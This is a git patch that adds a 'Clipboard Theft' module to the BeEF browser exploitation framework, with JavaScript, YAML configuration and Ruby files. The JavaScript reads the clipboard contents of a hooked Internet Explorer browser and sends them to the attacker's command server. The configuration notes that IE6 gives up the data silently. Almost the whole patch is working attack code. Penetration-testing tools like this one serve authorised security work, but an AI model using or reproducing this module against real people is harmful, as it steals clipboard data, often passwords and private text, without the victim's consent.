From ec9fc14414845a1724cbbe7068f062a00e469962 Mon Sep 17 00:00:00 2001 From: "bcoles@gmail.com" Date: Sun, 19 Jun 2011 20:40:36 +0000 Subject: [PATCH] Added modules/misc/clipboard_theft/ git-svn-id: https://beef.googlecode.com/svn/trunk@1000 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/misc/clipboard_theft/command.js | 7 +++++ modules/misc/clipboard_theft/config.yaml | 13 ++++++++ modules/misc/clipboard_theft/module.rb | 38 ++++++++++++++++++++++++ 3 files changed, 58 insertions(+) create mode 100644 modules/misc/clipboard_theft/command.js create mode 100644 modules/misc/clipboard_theft/config.yaml create mode 100644 modules/misc/clipboard_theft/module.rb diff --git a/modules/misc/clipboard_theft/command.js b/modules/misc/clipboard_theft/command.js new file mode 100644 index 000000000..a7bab8a8b --- /dev/null +++ b/modules/misc/clipboard_theft/command.js @@ -0,0 +1,7 @@ +beef.execute(function() { + if (clipboardData.getData("Text") !== null) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboardData.getData("Text")); + } else { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard=clipboardData.getData is null or not supported."); + } +}); diff --git a/modules/misc/clipboard_theft/config.yaml b/modules/misc/clipboard_theft/config.yaml new file mode 100644 index 000000000..dc0bd5a15 --- /dev/null +++ b/modules/misc/clipboard_theft/config.yaml @@ -0,0 +1,13 @@ +beef: + module: + clipboard_theft: + enable: true + category: "Misc" + name: "Clipboard Theft" + description: "Retrieves the clipboard contents. This module will work automatically with Internet Explorer 6.x however Internet Explorer 7.x will prompt the user and ask for permission to access the clipboard." + authors: ["bcoles"] + target: + working: [IE6] + not_working: [FF, O, C, IE8] + user_notify: [IE7] + diff --git a/modules/misc/clipboard_theft/module.rb b/modules/misc/clipboard_theft/module.rb new file mode 100644 index 000000000..309e7a6f4 --- /dev/null +++ b/modules/misc/clipboard_theft/module.rb @@ -0,0 +1,38 @@ +class Clipboard_theft < BeEF::Core::Command + + def initialize + super({ + 'Name' => 'Clipboard Theft', + 'Description' => 'Retrieves the clipboard contents. This module will work automatically with Internet Explorer 6.x however Internet Explorer 7.x will prompt the user and ask for permission to access the clipboard.', + 'Category' => 'Misc', + 'Author' => 'bcoles', + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => IE + }) + set_target({ + 'verified_status' => VERIFIED_NOT_WORKING, + 'browser_name' => O + }) + set_target({ + 'verified_status' => VERIFIED_NOT_WORKING, + 'browser_name' => FF + }) + set_target({ + 'verified_status' => VERIFIED_NOT_WORKING, + 'browser_name' => C + }) + + use_template! + end + + def callback + content = {} + content['clipboard'] = @datastore['clipboard'] + save content + end + +end